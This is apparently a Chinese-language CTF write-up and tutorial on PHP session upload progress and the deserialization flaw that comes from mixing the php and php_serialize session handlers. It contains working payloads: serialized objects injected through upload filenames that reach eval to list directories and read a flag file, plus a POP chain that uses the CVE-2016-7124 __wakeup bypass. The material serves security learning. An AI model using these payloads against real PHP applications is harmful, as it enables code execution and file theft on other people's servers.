当浏览器向服务器端上传一个文件时,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中。然后,随着上传的进行,周期性的更新session中的信息。这样,浏览器端就可以使用Ajax周期性的请求一个服务器端脚本,由该脚本返回session中的进度信息;浏览器端的Javascript即可根据这些信息显示/更新进度条了。

php.ini需配置以下选项

1
2
3
4
5
6
session.upload_progress.enabled = "1"
session.upload_progress.cleanup = "1"
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"

其中enabled控制upload_progress功能的开启与否,默认开启;
  cleanup 则设置当文件上传的请求提交完成后,是否清除session的相关信息,默认开启,如果需要调试$_SESSION,则应该设为Off。
  prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名。
  freq 和 min_freq 两项用来设置服务器端对进度信息的更新频率。合理的设置这两项可以减轻服务器的负担。
  在上传文件的表单中,需要为该次上传设置一个标识符,并在接下来的过程中使用该标识符来引用进度信息。

在上传文件的表单中,需要为该次上传设置一个标识符,并在接下来的过程中使用该标识符来引用进度信息。

具体的,在上传表单中需要有一个隐藏的input,它的name属性为php.ini中 session.upload_progress.name 的值;它的值为一个由你自己定义的标识符。如下:
代码如下:

1
`<``input` `type="hidden" name="" value="test" />`

接到文件上传的表单后,PHP会在$_SESSION变量中新建键,键名是一个将session.upload_progress.prefix的值与上面自定义的标识符连接后得到的字符串,可以这样得到:
代码如下:

1
2
3
$name = ini_get('session.upload_progress.name');
$key = ini_get('session.upload_progress.prefix') . $_POST[$name];
$_SESSION[$key]; // 这里就是此次文件上传的进度信息了

SESSION[_SESSION[key]这个变量的结构是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
array (
'upload_progress_test' => array (
'start_time' => 1491494993, // 开始时间
'content_length' => 1410397, // POST请求的总数据长度
'bytes_processed' => 1410397, // 已收到的数据长度
'done' => true, // 请求是否完成 true表示完成,false未完成
'files' => array (
0 => array (
'field_name' => 'file1',
'name' => 'test.jpg',
'tmp_name' => 'D:\\wamp\\tmp\\phpE181.tmp',
'error' => 0,
'done' => true,
'start_time' => 1491494993,
'bytes_processed' => 1410096,
),
),
),
);

这样,我们就可以使用其中的 content_length 和 bytes_processed 两项来得到进度百分比。

关于session的存储,java是将用户的session存入内存中,而php则是将session以文件的形式存储在服务器某个tmp文件中,可以在php.ini里面设置session.save_path存储的位置

img

设置序列化规则则是

img

注意,php_serialize在5.5版本后新加的一种规则,5.4及之前版本,如果设置成php_serialize会报错

1
2
session.serialize_handler = php              一直都在            它是用 |分割
session.serialize_handler = php_serialize    5.5之后启用 它是用serialize反序列化格式分割

首先看session.serialize_handler = php序列化的结果

img

它的规则是$_SESSION是个数组,数组中的键和值中间用 |来分割,值如果是数组或对象按照序列化的格式存储

然后看看session.serialize_handler = php_serialize的序列化结果

img

它是全程按照serialize的格式序列化了$_SESSION这个数组

它比php的格式多了个最前面多了个 “a:2:{ ....” 也就是$_SESSION这个数组有2个元素,还有个区别在于,它的键名也表明了长度和属性,中间用 ; 来隔开键值对

虽然2个序列化格式本身没有问题,但是如果2个混合起用就会造成危害

形成原理是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时 "|"会被当成键值对的分隔符

比如,我先用php存了个数组,在$_SESSION[‘b’]的值里面加入 | ,并在之后写成一个数组的序列化格式

img

如果正常的用php_serialize解析,它返回的是$_SESSION[‘b’]是个长度为44的字符串

img

如果用php进行解析,发现它理解为一个很长的名字的值是一个带了2个元素的数组

img

img

0x01一道CTF题目:

题目是道网上常常拿来做例子的一道php反序列化题目

题目连接:http://web.jarvisoj.com:32784/

源码已经给出,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

能够查看phpinfo,于是发现全局用的php_serialize进行序列化,而这个页面是以php来进行解析的

img

那么可以利用上面的理论进行事先准备个$this->mdzz= ‘payload’ 进行攻击

问题是怎么将payload写入session,这里php有个上传文件的会将文件名写入session的技巧

https://bugs.php.net/bug.php?id=71101

原文意思大致要求满足以下2个条件就会写入到session中

1
session.upload_progress.enabled = On上传一个字段的属性名和session.upload_progress.name的值相,这里根据上面的phpinfo信息看得出,值为PHP_SESSION_UPLOAD_PROGRESS,即name="PHP_SESSION_UPLOAD_PROGRESS"

写好脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>upload</title>
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>

</html>

注意这里 “PHP_SESSION_UPLOAD_PROGRESS” 的 value不能为空

这里根据题目的类,需要修改mdzz这个属性,于是写个php生成payload,因为看看phpinfo的禁用函数,能调用系统的函数都被ban了,于是只能用var_dump,scandir和file_get_contents来读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class OowoO
{
public $mdzz = "var_dump(scandir('./'));";

function __destruct()
{
eval($this->mdzz);
}
}
$a = new OowoO();
echo serialize($a) . "<br>";
?>

生成payload

1
O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}当然这个是不行的,我们要稍微改一下,"要转义,前面加个||O:5:\"OowoO\":1:{s:4:\"mdzz\";s:24:\"var_dump(scandir('./'));\";}

先随便传个文件,把包抓下来,把文件名改成我们的payload

img

能够查看到根目录的情况了

网上有个payload是直接用

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

我因为太菜最先没想到,于是去看了下phpinfo的session的存放位置,有个/opt/lampp/估计是装的的xampp这个集成的环境,而这个集成环境的web页面放在htdocs目录下的

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"var_dump(scandir('/opt/lampp/'));\";}|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir('/opt/lampp/htdocs/'));\";}

看到flag文件了

img

接下来是读取,这里额外提一句file_put_contents和fie_get_contents能够使用php://filter伪协议,但这里用var_dump导出来,不是文件包含,看下源码就能找打答案

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}

img

0x03环境复现:

因为最先学习这道题的时候想看看session文件,于是在本地搭建了个环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set('session.serialize_handler', 'php');

session_start();
var_dump($_SESSION);
echo "<br>";
class test
{
public $wd;
function __destruct()
{
eval($this->wd);
}
}
?>

最先我用一个文件直接生产用php_serialize规则序列化并直接存在session中

img

然后访问模拟搭建的页面,漏洞能够利用成功

img

于是我改用文件上传的形式,结果死活没法生成正确的session

img

再看看session文件,啥都没写入

img

这是为什么,想了一晚上,看了看phpinfo的信息,上传保留session的enabled是默认开启的,session.upload_progress.name也是默认

img

上传的html页面能在上面的ctf题中成功运行,说明不是上传的请求头格式问题

payload如果写入session文件中也能正常触发phpinfo

但是现在的问题是session写不进去,于是估计是配置问题了。

我再读了遍:https://bugs.php.net/bug.php?id=71101

发现它给出它的运行环境的配置,于是我按照它的ini对应的配置,再配了遍自己的php.ini,发现很多配置都是被注释掉的,也就是默认的值

最后成功执行了

img

session文件也写入了,可以仔细看看写的session文件内容

img

因为用php解析了,为了使解析格式正确,它直接丢掉了些 },如果正常解析的话,可以看出多了很多键值对,但是正是因为用php解析, |前面的所有字符都当做键名,而后面的payload则被反序列化,造成漏洞利用

img

再回到为什么之前不行,现在可以运行的问题上,最后我测试了是 session.upload_progress.cleanup这个参数

1
session.upload_progress.cleanup = Off

这个要为Off或者0,才能将上传的内容保存到session,但是,php默认的是On,所有最先死活传不上去

用xampp组件安装中,上述的配置项的设置如下:

1
2
3
4
session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。示例代码如下:

session 的目录在 /var/lib/php/sessions 中

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);

在 php_serialize 引擎下,session文件中存储的数据为:

a:1:{s:4:"name";s:6:"spoock";}

php 引擎下文件内容为:

name|s:6:"spoock";

php_binary 引擎下文件内容为:

names:6:"spoock";

由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:“spoock”;。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

1
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

php文件如:

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

访问后得到session文件中的内容如下:

1
2
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}

但此时模拟在其他页面使用不同的php引擎来读取时的内容如下:(默认使用php引擎读取session文件)

1
2
3
4
5
6
7
8
9
10
11
<?php
#ini_set('session.serialize_handler', 'php_serialize');
session_start();
#$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
class A {
public $a = 'aa';
function __wakeup() {
echo $this->a;
}
}
// var_dump($_SESSION);

访问该页面输出xx

1
2
3
4
5
6
7
xxarray(1) {
["a:1:{s:4:"ryat";s:30:""]=>
object(A)#1 (1) {
["a"]=>
string(2) "xx"
}
}

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将 a:1:{s:4:“ryat”;s:30:" 作为SESSION的key,将 O:1:“A”:1:{s:1:“a”;s:2:“xx”;} 作为value,然后进行反序列化,最后就会得到A这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发,不需要任何输出

GCTF上的一道session反序列化漏洞分析:

index.php中内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(__FILE__);
print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>代码审计2</title>
</head>
<body>
1
2
3
4
5
6
7
<form action="./query.php" method="POST">    
<input type="text" name="ticket" />
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>

query.php 中的内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/************************/

//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}

思路如下:

这题中我们构造一个TOPC,在析构的时候则会调用echo $this->attr;

将attr赋值为TOPB对象,在echo TOPB的时候会自动调用__tostring魔术方法

在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket,所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;,即可绕过判断。

至于为什么(string)$this->obj会输出flag,后台写的login可能是__tostring吧。

其中反序列化字符串中会有一个__wakeup()函数清空里面的参数,我问可以通过一个cve来绕过:CVE-2016-7124。将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。

最后的代码为:

1
2
3
4
5
6
7
8
9
10
11
$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;

最终payload为:

1
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}